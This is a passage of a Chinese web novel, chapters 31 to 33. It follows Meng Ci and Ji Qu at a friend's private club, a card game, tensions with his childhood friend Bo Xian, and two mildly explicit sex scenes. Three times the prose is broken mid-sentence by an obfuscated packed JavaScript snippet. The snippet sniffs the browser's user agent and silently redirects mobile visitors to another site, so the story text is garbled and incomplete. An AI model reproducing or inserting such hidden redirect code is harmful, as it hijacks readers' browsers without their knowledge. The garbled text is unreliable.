“没事哥,这都小事,晚上我们在我那儿和安娜庆功,她上海那个项目成了,您赏个光?”赵一辰跟上帮季曲拉开车门。 “我晚上有事。” “但是孟慈也来。”赵一辰趴在季曲的车窗上,笑得谄媚。 季曲眼神上下一扫,示意赵一辰从车窗离开。 “行吧,哥那你慢点开车。”赵一辰挥手再见。 庆功宴? 季曲明明早就约了孟慈今晚吃饭,他发小最近回来了,每天都攒局,自己还想着叫上孟慈出来认认人,毕竟前两年的事过去就过去了,总得重新开始不是。 偏偏孟慈说今天晚上她有导师会,挤不出时间。 “大过年的还学习?”季曲略有不满。?“人老外管你是不是大过年。” 孟慈在电话里态度强硬,“要不是你非不让我走,我就回学校写论文了。” “别别别,在这儿多好,你开你的会,我不扰你。” 怕人真飞走了,自己还得大过年的跟过去哄。 想到这儿,季曲勾唇冷笑。 真是越惯越完蛋。 孟慈晚上是真有导师会,安娜那边她已经想好了借口,就说季曲拉着自己不让离开,反正把锅甩给季曲,把自己摘出来。 毕业论文早就定好选题,框架也已经搭建完毕,在正式撰写之前孟慈还在做文献综述,导师也推荐了不少专业书籍,都是英文专著,即使孟慈已经在全英文的环境里学习很久,也依旧有些发愁。 把自己最近的整理进度和导师分享之后,又听取了同门们的报告内容,孟慈自觉最近在学习这方面有些拖沓。 但是值得一提的是银行账户的余额倒是日益丰厚,新西兰的小别墅逐渐有了踪影。 孟慈煮了壶苹果水,点了枚添加了薄荷叶的香薰,把学习资料都准备好摞在触手可得的位置,头发也用皮筋束在脑后。 全部就绪准备熬夜猛学一场。 孟慈刚刚打开材料第一页,柔绘笔才圈出第一个关键词,一旁的手机就不合时宜地震了起来。 她分了个眼神去顾。 【孙谦】 孟慈蹙眉,孙谦几乎没怎么直接联系过自己,都是经过方萤对接。 一边不想被打扰,一边又怕有什么事,在双方意识的搏斗下,孟慈还是放下笔拿起了手机。 “喂?” - 一直到站在会所门口,孟慈才开始后悔。 凄白的灯光落在地上,照亮面前的石径小路,风挟着雪花往孟慈的身上打,她把脸往衣襟里又缩了几分。 就不该相信季曲喝得烂醉连人都不认得的鬼话。 门口的应侍生远远地就迎上来,礼貌询问孟慈是哪位包厢的客人。 报出孙谦给的包厢号,应侍生带着孟慈前往。 不算太大的包厢“五脏俱全”。 以调酒台为分割,一边是灯光明亮的牌桌,一边是光线暧昧的歌台。 身材曼妙的歌手在台上娓娓低诉,孟慈想不通这伙人怎么突然听开苦情歌。 顾不上那么多,眸光一定。 孟慈在唯一的牌桌上找到孙谦在电话里说的喝到烂醉的季曲。 自从这次回来后,孟慈见到的季曲总有些紧绷。 她把其归结为年龄增长带来的作用。 但是在面对从小到大的玩伴时,季曲终露出些真实模样。 一贯合身的衬衣早就失去了挺直的线条,每每扣在喉结处的领口大敞,袖口也被解开随意弯折,露出肌肉线条饱满的小臂。 他的眉眼间笑意绵亘,尽是漂亮颜色。 孟慈一进门季曲就看到了。 在接收到孟慈视线的同时,季曲分毫不差的回望,然后嘴角上扬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508115|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾出一个笑,同时抛出手中捏着的最后一张筹码。 “外面这么冷?”季曲站起身走到孟慈身边,把人领回座位,然后握着孟慈的双手给她回温。 “你不是醉得谁都不认识?”孟慈都懒得发脾气,只觉得还是自己太白目,孙谦说就信。 季曲笑得宠溺,光是看着孟慈的表线就知道她在想什么。 一边说自己真喝了不少,一边又换了新筹码往孟慈这边塞。 “怎么也不介绍一下?”旁边的男人出声,对游戏喊了暂停。 “我女朋友。”季曲一个眼神都没分过去,还在低眉顺眼地哄孟慈开心。 “哪个女朋友啊?” “去你的。”季曲终于舍得从孟慈身上回神,笑着从桌子上取了张牌扔过去。 孟慈跟着季曲的动作转头看。 说话的人是李港,季曲的发小之一。 是真的不谈生意只谈情分的那种。 除了出国的,去港的,也就剩这位偶尔还在北城打转。 李港家的产业重心早就挪去南方,但是逢年过节总会回来走走亲戚,会会朋友。 两年前,孟慈也只见过这位一面而已。 “我好像见过你吧妹子?”李港不确定地开口 “见过一次,也在这儿。”孟慈微笑。 “对对对,我就说你进门我就眼熟!”李港说到这儿放开了怀里的女伴,端着酒死活要和孟慈干一杯,季曲伸手挡住。 “你把我喝多了,现在又要喝我媳妇儿,都喝多了睡你家啊?” “睡这儿就行啊!楼上好多空房间!” “滚开,老子洁癖。” 这家会所是李港开的。 之前是为了一伙人有个玩的地儿,毕竟都是有头有脸的人,不好在外面乱跑。 后来大家五湖四海地散了,这个地儿才转成预约制对外开放。 李港不满意道:“我一年最多就回来这么一两次,不给我面子?” 季曲护着人不放:“我媳妇儿也就这么一个,不喝!” 不至于烂醉如泥但也确实喝到临界点,一口一个媳妇儿听得人心烦意乱。 孟慈把季曲按回椅子,站起身接过李港手里的酒盅,利索喝尽。 火辣的酒精霎时烧上心肺。 李港偏爱喝茅台。 说是中国人就该喝点自己地里土生土长的粮□□。 接过季曲递来的冷茶灌了几口压制辛辣。 孟慈竟然开始可惜自己熬的那壶颜色鲜亮的苹果茶。 李港看到这儿不由得鼓掌:“大气!要么就说季曲眼光什么时候都差不了!我就说他退婚肯定有点原因!” 季曲飘过眼刀:“不会说话就闭嘴。” 李港接收到讯号:“哎呦你看看我真是喝多了说错话了!我自罚三杯!” 其实李港应该只是馋酒了。 毕竟他嫌小杯倒的费事,干脆从女伴手里取过酒壶来了个拎壶冲。 季曲始终握着孟慈的手,试图从她回握的力度去确认她有没有生气。 不过沈棠溪的事上次已经解释清楚,想来应该没有什么。 他们玩的是最简单的推牌九,喝高兴了之后干脆开始比大小。 雪花般的筹码在每个人手里轮转。 季曲刚刚才兑满的没一会儿就又没了大半。 孟慈难以接受这种烧钱的速度,靠在季曲耳边说自己不想玩了。 “不玩了?困了是不是?咱们回家。”季曲拉着人就从牌桌前离开,筹码都不要了。 “哎哎哎,还没玩完呢怎么就走了?”李港连忙喊人。 “我们不玩了,困了回家睡觉。” “行不行啊你?我好不容易回来一次!” 眼看着两个醉酒的人嚷嚷着要顶起来,孟慈只能插在两人中间灭火。 “我去那边透口气,你想不想吃点什么?一会儿就过来。”孟慈拉着季曲的胳膊把人叫回自己的身边。 “不是累了吗?咱们回家。”季曲现在仿佛变成了单线程的机器,固执的要离开。 “我不累,你输那么多就走啊?”孟慈好说歹说地把人按住。 季曲反复问孟慈是不是真的不走,孟慈一遍又一遍地说真的。 季曲这才放心的回到牌桌上:“那我赢回来咱们就走。” 孟慈把季曲乱了的领子捋正:“行,我去给你拿点水果。” 31. 第 31 章 一连听了三首曲子,孟慈才彻底平息胃里残余的酒精。 把自己的那份水果碗吃完,才要了季曲的。 孟慈又特地叮嘱了不要放芒果,可以换成西柚。 简单的水果碗也要把果肉切成花。 孟慈安静地托着下巴等待,同时终于看清了台上的歌手。 是前段时间刚刚在各大平台的颁奖典礼上取得不少奖项的小花,算上从孟慈进来的那段时间,她大约已经唱了快两个小时。 调酒师看到孟慈的眼神,主动上前询问:“您有想听的歌吗?” 孟慈摇头:“她要唱多久?” 调酒师有些语塞。 孟慈意会:“谁的朋友?” 调酒师尴尬一笑,问孟慈还想不想喝点什么,度数低的果酒他也调的不错。 进行到这儿,孟慈心下了然,“苏打水吧谢谢。” 调酒师立马接单,没一会儿就送上一杯粉白渐变的苏打水,“粉色是西柚果汁。” 孟慈接过:“谢谢。” 水果碗还没切好,应侍生便又带着人进来。 孟慈坐在吧台角落侧首去看。 来人穿着裁剪精细的高定大衣,栗色长发打着卷落在胸侧,妆容精致妥帖。 是薄娴到了。 季曲和薄娴是青梅竹马,季曲和李港是发小,那自然薄娴和李港也是铁瓷儿才对。 李港几乎是在看到薄娴的瞬间就站起身迎上去。 即使薄娴满脸嫌弃,也送上了大大的拥抱。 一时间全场的注意都被他们吸引。 下一个应该是季曲吧。 孟慈这么想着,喝了一口苏打水,没来得融合的浓缩果汁太浓厚,酸到孟慈被呛的咳嗽。 手里握着的玻璃杯突然被人接过,然后换上餐巾纸。 孟慈抬头,看到季曲不知道什么时候走到自己身边,拍着自己的后背给自己顺气。 “怎么呛到了?难不难受?” 看着还在询问关心的季曲,孟慈逐渐压下嗓子眼的毛意,缓慢开口:“怎么过来了?” 季曲脸上的酒意不减,不满道:“你好久没过来,我都把筹码赢回来了。” 季曲的手心有些烫,握在孟慈手腕处,像是贴上生姜片。 愣神的瞬间,孟慈心跳经过停拍和加速的循环过程。 说不出情绪突然漫溢,向上蔓延,从略微放大的瞳孔体现出来。 看着这样的孟慈,季曲只是弯着眉眼笑笑,温驯的不像他。 被季曲带回牌桌,孟慈依旧坐在季曲的右手边,旁边是李港,再旁边就是薄娴,李港的女伴识趣下桌。 用不着互相介绍,就像是赌局上萍水相对的赌友,没必要互相知会尊姓大名。 李港分了一半的筹码给薄娴,再次开了牌局。 忽略心头的那些动静。 孟慈只管随意扔大扔小,反正季曲不在意输赢。 “我都听不清你们说话。”薄娴连输三把,有些烦躁。 “唱歌的小声点。”李港头也没回往人群里扔了一句。 音乐声霎时小了一半。 孟慈被打断后多了些记忆,向季曲招招手,示意他附耳过来。 季曲自然俯身。 “唱歌的那姑娘得罪谁了?” “李港的女伴。”季曲扫了一眼便知道孟慈说的是谁,在孟慈耳边轻声解释。 “我好像听赵一辰提过,他们家的艺人?” “好像吧,下午赵一辰送过来的。” 孟慈扭头对上季曲,被他的酒气喷了满脸,加之桌上还有不少烟味,脸色不由自主地变得难看。 季曲喝得再醉也能看出来:“不想玩了?” 孟慈点头:“嗯,什么时候回家?” 季曲看了眼斜对面的薄娴和李港,好像有些为难。 孟慈了然:“玩完手里的就走?” 季曲略微意外:“行啊。” 孟慈给台阶,没理由不下。 薄娴刚来,没必要下人脸面,李港毕竟是男性,直来直往没什么隔夜仇。 但是女生心思细腻,还是得注意些。 “我前段时间出差见到薄叔叔了,瘦了。”李港找了个话题。 “他最近外调,水土不服。”薄娴随意扔了大。 “什么时候回来?”李港跟着扔了大。 “不知道,得问问季曲他哥。”薄娴端起醒好的红酒抿一口。 季曲问孟慈买什么,孟慈说小,季曲便扔了小,“不知道啊,我哥最近也不着家。” “快得了,我姐说前段时间你们还一起吃饭来着。”薄娴说话直接。 “老爷子想小欢了,正好吃了个饭。”季曲没有被揭穿的尴尬。 三个人就这么有一搭没一搭地聊着,牌桌上也没有别人插嘴,就这么形成了一层看不见的薄膜。 韧性大到孟慈刚修过的指甲划上去最多只能留个浅浅印子。 李港突然看向季曲:“安翰今年夏天不是要结婚了?听说在礼幌求的婚,你也去了?” 季曲点头。 李港赢了一把,把筹码收回:“你和他玩的这么近?他们家让他老子败的差不多了。” 季曲给孟慈换了杯热茶:“他比他老子有本事。” 李港没否认。 即使他不在北城混,但消息却灵通。 “确定要结?”薄娴冷不丁开口。 “我听到是这样的,和他那个明星女朋友吧?”李港看向季曲。 孟慈喝着香气馥郁的茉莉花茶,紧绷的神经舒展些。 “真不结啦?”李港没等到季曲回答,连手里的注都停了。 “说不准。”季曲从孟慈手里取回杯子,和孟慈说差不多了,喝太多当心睡不着觉,然后自己把剩余的一口饮尽。 刚刚放松些的神经因为季曲的回答再次紧绷,对上孟慈眼里的疑问,季曲只是小声说回家再解释,然后便草草揭过这章。 薄娴好心给李港解答:“我前两天去季曲他妈那儿听说的,他有个表妹你记得吗?” 李港明显不记得:“哪个表妹?” “反正就是他表妹。”薄娴懒得解释,“和安翰后妈说好了。” 听到这儿,孟慈再也坐不住。 抛开安翰,何冉是她的朋友。 放在腿上的手被季曲握住,一抬头便又对上他那副“稍安勿躁”的模样。 孟慈按下心间的无名火,挥开季曲的手,直起背摆脱季曲的温度,只想赶紧结束这局。 于是她抓着所有筹码,一连五次扔了大。 天不遂人愿,偏偏还是赢得多。 连李港都忍不住说孟慈真是好运气,还张嘴要和孟慈要个筹码沾沾喜气。 孟慈巴不得他都要走,一挥送了一半出去。 薄娴见到着这番动静,干脆从旁边叫了个人来替自己玩。 “别呀,怎么不玩了?”李港看着已经起身的薄娴不解,她明明是才最大的赢家。 “没意思。”薄娴拎着自己的包去了沙发区找朋友聊天。 转眼看了看桌上剩余的人,李港说:“咱们继续?” 季曲看了眼孟慈的后脑勺,也说自己就也不玩了,准备领着孟慈回家。 却不想坐在椅子上的孟慈动都不动。 季曲拿起孟慈的外套,一手扶着棋牌桌弯下腰,看着还在摆弄筹码的孟慈轻声道:“走吗?咱们回家。” “不玩了?”孟慈眼皮都没抬,机械地把手里的筹码摞在一起,然后又分开。 季曲今晚着实喝得多了些,少了点眼力劲,轻声问:“还想玩?再玩一会儿也行……” 孟慈神色恹恹:“算了。” 打断季曲,孟慈起身拿过季曲臂弯里的外套,和李港打了招呼便头也不回地出了门。 季曲和场上的人点头示意,也跟着孟慈的脚步离开。 李港看着两人远去的背影不免奇怪,转头找上薄娴。 “你看你,我好不容易回来一次,咱们三个刚凑到一起玩玩,你一点面子都不给。” 薄娴满脸无辜:“我不给面子?” 似乎刚刚是孟慈先搞出一副破罐子破摔的样子,不看结果不看牌,一个劲儿的扔大。 李港转念一想,似乎有些不对,“你俩……” 在薄娴旁边的沙发上坐下,顺手抓了把瓜子,颇有一副村口管闲事老大娘的派势。 “谁俩?”薄娴要了半把瓜子走。 李港不情不愿地递出去,说自然是她和季曲的女朋友。 “女朋友?”薄娴仿佛听到了什么有趣的事,兴致都高了些,“季曲自己说的?” “不然我梦到的?”李港嘴贫,从小因为这张嘴没少招打,第一个把季曲和薄娴联系起来的人也是他,当时每每提到就要把薄娴招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519449|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭,季曲就追着他满大院的打。 薄娴吐了瓜子皮,不紧不慢地说:“没什么关系,之前季曲不是宝贝的紧,我也就见过一两次,话都没说过。” 李港不信:“真话?” 毕竟之前季曲身边的桃花不少都折在薄娴手里。 要么是长得不好看,要么是性格不合适。 最荒唐的一次是对方和薄娴背的包撞了款。 小时候性子浮躁,薄娴自己也知道。 可能是不想背锅,场子上这么多人没准哪天又传出去自己欺负季曲的女朋友。 薄娴掀了掀眼皮,不耐烦道:“我什么都没做过,他谈恋爱关我什么事,我又不是他妈,爱谈谁谈谁。” 李港见好就收,那估计是因为季曲没哄好人,反正离过年还有几天,再约就得了,便也放过这个话题,一把勾住薄娴的脖子说不醉不归…… 孟慈走得快,外套都没穿好就要出门,还没等接触到室外的寒气就一把被后方的季曲拉住。 “好歹把衣服穿好再跑呗祖宗。”季曲像是在给商场的假人模特穿衣服,得不到一点配合。 一早季曲就知道见到薄娴,孟慈的心里肯定不痛快。 但是要是两个人在一起,这是以后避不开的事。 “谈恋爱见见对方的朋友不是很正常的事?”季曲还是选择开口,探探孟慈的底。 “没这个必要。”孟慈流露出的烦躁越积越多,最终都攒在眉间,打成死结。 季曲伸手去解,还没等碰到孟慈就被躲闪开,孟慈转身出门。 司机得到消息有些延迟,还在从停车场过来的路上。 会所门口仅打着两盏照明灯,分别两只不甚标准的圆落在地面,灰尘粒子在光柱中漂浮,像最小的雪花。 孟慈站在阴暗处,只留给季曲孤直的脊背,驼色大衣上雪白的一截脖颈,是唯一亮色。 忽的又有客至,看样子和季曲认识。 孟慈偏偏身子,将脸彻底藏在黑暗中。 “季总?好久不见。” “吴总。” 借着白灰砖石上的倒影,孟慈看到两方似乎握了握手。 可能是看到孟慈,毕竟这么大一个人站在旁边,根本做不到视而不见。 背后的目光灼烫,孟慈顿顿,还是转了身。 季曲将一步之遥的人拉回光亮,揽到怀里,自然道:“孟慈,您应该见过的。” 对方饶是没见过也不敢下季曲的面子,只是笑着说“般配适合”诸如此类的词。 孟慈勾唇点头,就算是打过招呼了。 简单寒暄后,室外又只剩下孟慈和季曲。 孟慈挣开季曲的胳膊,又恢复之前的模样。 身后的呼吸沉重,过了几秒,传来一声短叹,孟慈的眼前出现一只手机。 “我以后不见她肯定是不可能的事,但是我能保证,只是公事。”季曲的手指停在删除键上,等孟慈做选择。 孟慈眸光闪烁:“算了吧,你们什么关系,我怎么敢拦着,我说不玩了你得考虑大家的面子,人家不玩了你什么都不敢说。” 听出几分不满情绪,总比不说话强。 季曲向前挪了一小步,胸膛靠上孟慈的后背,似是相拥。 “我总不好给人家女孩子下脸子,那咱们以后都听你的,你陪着我,你怎么说我怎么做?” “我很忙,没时间跟着你混。” 季曲更进一尺,圈出孟慈的腰,暗暗施力把人往自己怀里拢,“我们孟总自然是忙的,项目做的还顺心吗?等过起年来再给你介绍点新项目?” 季曲不知道孟慈会拒绝什么,但是知道有的东西孟慈一定不会拒绝。 比如利益,比如金钱。 孟慈看着自己的高跟鞋尖,踮起脚碾了碾地上的碎石子,问:“硅晶的?” 季曲知道这一招打到了点上,言语间多了几分得意:“叶片的,你最近不是感兴趣。” 孟慈点头,随后往季曲的怀里小幅度地缩了缩。 最近过了三九,寒气从薄薄的羊皮鞋底往上钻,冷得站不住。 喝了白酒再加上风一吹。 季曲冷不丁地有些晕,把下巴搁在孟慈头顶小小的发旋处,清冽的栀子香铺了满鼻。 平常身边太嘈杂繁复,倒是也向往清净时刻。 在只剩风声的深夜,孟慈靠在宽阔温暖的胸膛里,暂时恢复平静。 32. 第 32 章 对于薄娴,孟慈并没有深入接触过。 当然,也没必要。 孟擎的手术和她有牵扯是真的。 但是术前院方已经做出风险解释,更遑论孟慈也是花了大价钱找了许多关系才走到换肾这个地步。 术后的排异反应,是意外,也并不意外。 事后,孟慈还是找到了当时缺席的专家,直白地问如果换一个肾源,换一位大夫,是不是就能替爸爸多续几个月的命。 专家也否认地干脆。 他告诉孟慈,为孟擎操刀的甚至是他的同门师兄。 只不过他的师兄不屑于名利金钱,才有了他出名腾达的机会。 再说回肾源。 换上陌生人的器官,谁都没法保证百分百的适配,数据只是冷冰冰的指标评估,但是每个人的身体都有不同。 因此,这就是孟擎的命数。 薄娴失去小叔不好过,孟慈失去父亲更是悲痛。 但是,总不能因为这次就困在原地停滞不前,把这些留在偶尔来的阴雨季节再发作。 孟慈早就调节好自己的心态。 话又说回来,直面当事人,每个人的阴暗心思都会作祟。 毕竟怪罪别人比怪罪自己容易太多。 想到这儿,孟慈的阴雨季节提前来临。 不大不小的乌云,缓慢地在空中盘积,汇聚在孟慈头顶,挡住光亮,雷声轰鸣。 孟慈的心脏上,下起冬日不该有的骤雨。 但是季曲可能一辈子都淋不到孟慈心间的那场雨。 这不怪他。 “孟慈。”季曲的声音从头顶传来,“不知道你在想什么,可能在骂我,也可能在诅咒我,或者压根就没有我。” 孟慈轻啧,倒是又把姿态放得十分百分的低。 季曲在腰间环着的手臂又紧了紧,有些影响到她的呼吸。 “但是孟慈,不管你怎么想,怎么做,我真的爱你。”季曲的语调像是古琴上第一根的弦音低频颤抖,悠久漫长地在孟慈耳边盘旋,越过大脑,直抵心脏。 孟慈在季曲的怀中转身,抬头时鼻尖蹭过季曲的下巴,扎扎的,不过半晚的放纵,就冒出些青色的胡茬。 望了季曲一会儿,就像抬头望着残如弯刀的月亮,四周包围着一圈浊气,扰乱清明。 其实近在咫尺的两个人,都心知肚明。 要不是爱,孟慈不会第二次踏入水流湍急的大河。 在还无法确定季曲的爱有几分真切时。 但是季曲偏偏装作不知道。 非要逼孟慈直白无他地告诉季曲, 她也心动如蝴蝶振翅,如春水惊雷。 然后变成季曲拿捏自己的筹码。 在回家的车上,季曲时不时地挑个话题,但是孟慈不接茬,只是低着头摆弄自己指根处的戒指。 一来二去的,季曲自然也跟着闭了嘴。 还好司机有眼力见,没问目的地是哪儿,直接把两人送到了季曲家。 下车后看着四周不算熟悉的景色,孟慈回头睨了季曲一眼。 “这么晚别折腾司机了,对付一晚上?”季曲推着孟慈进门。 对客厅和沙发还有些阴影。 孟慈想也没想直接上了二楼,季曲早就准备好一应生活物品。 洗完澡从衣柜里随意拿了件丝质睡裙,触感光滑。 孟慈走出来没在卧室看到季曲。 “再让法务过一下工程请款报告,飞地那边让何志再找一家造价,这家手里不太干净,另外准备一份新婚礼物吧。”季曲又在忙。 不知道孟慈在书房门口站了多久。 季曲发现的时候她正靠在门框上,穿着自己挑的睡裙,妆容卸的干净,但依旧好颜色。 她走到书桌前,抱臂问:“安翰和何冉到底怎么回事?” 季曲知道孟慈今晚一定要问明白这件事,沉思一会儿,斟酌开口:“安家不同意,还是想让他和季芷结婚。” “之前不是都看好日子了。”孟慈对这些豪门轶事不感兴趣,她多问一嘴的原因也只是因为何冉的缘故。 季曲站起来,拉着孟慈到一边的沙发上坐下,顺便调高屋里的空调温度,“缓兵之计。” “这有什么可缓的?” “安东升手里的一个项目出了包,和人家合作投资了海外的什么新生物技术,结果被骗了,公司财务出了窟窿,需要贷款填补。” 孟慈不解:“老子没钱儿子就能有钱?” 屋子里的温度上的很快,对于孟慈来说刚好,但对季曲来说就有点热了。 他的额角渗出细汗,三两步走到窗户边压了条缝,冲着自己,避开孟慈。 季曲点了根烟,解乏用,“安翰和银行的那帮人常打交道,贷款周转审批更快,安东升近几年投资频频失误,银行大多不给他面子。” “最近钱批下来了,安翰没了筹码,自然被拿捏。” 孟慈靠着椅背,在空气嗅到极淡的烟草味,“何冉怎么办?” 季曲抽得快,五官隐在青色烟雾里不太真切, 但是莫名的,孟慈品出一种洞若观火的意味,和他的居高临下混杂在一起。 “你不是也说了?老子没钱,儿子能有钱到哪里去?”季曲碾灭烟蒂,靠在窗边吹风散味,夜风掀开他的额前的发,也吹散缭绕的雾,“何冉和周行有些交情,她替安家做的担保。” 孟慈有些迷惑,既然这样,安家不更应该敲锣打鼓地把何冉娶进门。 季曲继续解答:“安家早就在走下坡路了,金絮其外,安翰一个人无力翻转。” 孟慈:“安翰知道吗?” “安家不行的事还是何冉担保的事?” 季曲散完味道,又坐回孟慈身边,缓缓地往孟慈腿上靠,直至侧脸贴上光滑布料,他今晚真的有些累。 孟慈低头,看已经阖上眼的季曲,他眼下不知道什么时候竟也泛了些青。 伸手环抱住孟慈不堪一握的腰,季曲把自己埋进孟慈柔软温暖的小腹处,满是她的味道。 “安翰近一年往海外转移了些资产,何冉是私下找的人,合同签字盖章之后,安翰才知道。” “我还是不懂。”孟慈突然发觉自己没有任何做生意的天赋潜力,季曲话说得已经够白,换做其他人,也许早就听懂其间的弯绕。 季曲的脸依旧埋着,声音有些闷。 “何冉几乎压了全部身家进去,一损俱损,为了何冉,安翰只能接受季芷。” “就不能一荣俱荣?” 孟慈的声音在头顶盘旋,季曲终于舍得抬头。 他躺在孟慈的腿上,从低位仰视孟慈,经过烟酒淬染的嗓音沙哑。 “很难,不是季芷也会有别人,而且安家不止一个安翰,一大帮人都得活命,现在值得庆幸的是,季芷乐意,季家也有能力给安家兜底。” 冷不丁的,孟慈想到何冉很久之前说的那句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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季曲的唇落在孟慈的眼睛,鼻尖,嘴唇,下巴。 哪儿哪儿都染上他的味道。 直到孟慈仰起脖颈颤抖,季曲才握着她腰胯沉/身,暖意融融。 “……你先等一下。”孟慈突然紧绷,抓在季曲后背的十指猛地收紧,甚至刺进肌肤,“季曲…等一下……” 看着孟慈像是感知到危险的刺猬,止不住地蜷缩。 季曲笑了。 即使他也被逼出一身细汗。 他真的没再动,温柔地附在孟慈耳边哄,手掌穿过皮肤和织物的缝隙把人捞进怀里,一下下地刮孟慈后背上凸起的骨节。 雪很轻,如鸿毛,水却重,似万钧。 羸弱的细枝渗进湿意,触及到内里,终于软绵。 吻掉孟慈额间渗出的一层薄汗,看清她迷离意乱的双眸,盛上情动的红。 季曲终于梦寐以求。 重逢后的第一面,季曲就在心里暗想,孟慈身上那件廉价的礼服,一点都不衬她。 就像枯萎的花茎,该被褪下。 室内的温度高到不需要空调调控,毫不遮掩的溢出去的热,加速了冬天的进程。 雪变成了雨,哗啦落地,融进泥土。 生机勃勃的春,在枯萎一冬后,注入水源滋养,终于慢慢生根。 33. 第 33 章 第二天睡醒,孟慈下床时双腿一软,差点跪倒在长绒地毯上,坐在床边缓了缓。 她觉得自己真是有先见之明。 季曲就是只狗。 床头放着水杯,孟慈伸手探探,还是温的,拿起来喝了几口,甜甜的蜂蜜润过嗓子,缓解不少干涩。 季曲依旧在书房。 他穿了件黑色针织衫,高挺的鼻梁上架着金丝框眼镜,头发保持自然模样,少了精明多了闲适。 看到孟慈,季曲立马从书桌前起身走到孟慈身边,手也自觉地放到腰侧,慢慢地揉。 “吃点什么?”季曲一副餍足模样,不忘在孟慈的脸颊上啄吻一下,“吃点羊肉暖暖?还是小炒?清淡点的吃到胃里也舒服。” “都可以。”孟慈没什么胃口,只不过张嘴时的音调哑到她以为房间里还有第三个人。 季曲先是一愣,继而看着一脸不可置信地双手反握着自己脖子的孟慈畅快地笑了出声。 “不准笑。”孟慈伸手去捂季曲的嘴,还没等碰到就被季曲抱到怀里。 “对不起我的错。”季曲捉住孟慈的手放在嘴边吻了吻,眸光一闪,话语间染上风流,“下次我多注意,不然去了医院都没法和医生解释。” 季曲的眼神毫不掩饰地往孟慈的各处瞟,带着侵略。 孟慈胸前的红印最多,像是宣纸上甩出的红梅点点,更别提布料遮掩下的地方。 狼狈又香/艳。 眼看着季曲又要纵火,青天白日的,窗帘都没拉。在被抵在门板上亲的同时,孟慈咬了季曲的舌尖。 “你要不要脸……”孟慈的话说了就像没说一样,音量微乎其微。 “不在这儿?”季曲充耳不闻,自顾自地找福利,“那咱们换个地。” 对上孟慈这种性子,主动才能有好果子吃。 实木桌上的文件电脑通通被扫到一边,换上孟慈。 光裸的皮肤在接触到桌面时不免被冰,孟慈反射似的往季曲怀里躲,季曲反手附在桌面上试试,是有些凉。 捞起办公椅背上的羊绒开衫草草地铺在桌面,再让孟慈躺。 “再试试宝宝,不凉了。” 孟慈从不乖乖就范,双腿踢躲间被季曲轻而易举地握住脚腕分开,再用比自己大不知道多少倍的力道环到他精/壮的腰身两侧。 体力跟不上趟,只能靠脑子。 转眼间孟慈就换上委委屈屈的脸,一双眼巴眨巴眨地看着季曲,哑着嗓子喊痛喊不舒服。 “那我给你揉揉?”季曲的上半身俯下,整个覆盖住孟慈,拦住正午的光,给她独投下一片昏暗。 长度适中的睡裙边角很好地保护着不该暴露的地方,只有一边的肩带抵不住连续的冲撞,从孟慈的肩膀处脱落,失守于季曲。 孟慈眼尾噙泪,红红的一片。 她又哑着喊先等一下,双手被季曲置于发顶,再也无法在他的身上抓挠宣泄,十指只能紧紧地彼此纠缠。 人在晚上会不自觉地变成情绪动物,到了白天才又披上理智的外衣。 在日头最盛的午间,季曲变得不近人情,尤其在书房,他习惯的办公场所,更是摆出他常见的商人模样,为了几毫利息,争得头皮血流也乐意。 低头衔住还在喋喋不休地求饶的唇瓣,季曲没给孟慈适应的时间,用要逼/死人的力道,晃动了斑驳日光。 光影摇曳,太阳往西头悄摸地移了三五度。 事后,季曲用毛毯包裹着还在颤抖的孟慈坐回转椅,拍孟慈的后背等着她缓劲,用食指撩开糊在脸侧的发,不知是薄汗还是眼泪粘在指腹,看着闭着眼深深地埋在自己怀里的孟慈,季曲的心软成一滩水,在暖融日光下寒冰化成的水。 没忍住,季曲又往孟慈脸上亲,在接触到的瞬间,孟慈反射似的睁开眼四处闪躲。 对上孟慈略显惊慌的眼,季曲才连忙哄说就是亲亲,不干别的什么。 季曲不知道什么时候摘了眼镜,托槽压着的鼻梁两侧留下浅浅的印。 在光线折射下,他的鼻梁有些泛光。 记忆中的画面不停命令地闪回,只记得刚刚,自己喊了句好冰,身体止不住地缩瑟。 孟慈的脸慢慢红了。 察觉到孟慈的目光停留在自己鼻梁上,季曲了然似的笑笑:“怎么脸还红了?想到什么?喜欢还是不喜欢?” 一连串的诨话从季曲的唇间跑出来争先抢后地往孟慈耳朵里钻,孟慈又像个鹌鹑一样一头扎在季曲怀里。 季曲偏偏不要脸地往上凑:“应该是喜欢吧?毕竟水……” 孟慈着急伸手掐季曲腰侧的软肉,耳边传来吃痛的吸气声,接着是闷闷的笑:“好好好,不说了……” 挥都挥不开,烦得不得了。 最终还是没吃到季曲推荐的东西,因为这些店都在市里。 季曲根本不放孟慈出门,只把人绑在身边,没事干有事干的都要亲两下才舒服,搞得孟慈感觉自己浑身上下都是季曲的口水味,恨不得找胶带把季曲的嘴粘上才好。 - 临近过年,孟慈回公司当了一次散财童子。 拉着黄景峰和方萤包了几百个红包,挨个地散出去,也算是辛苦大家一年的辛勤付出。 方萤捏着红包厚度,问孟慈是不是中彩票了。 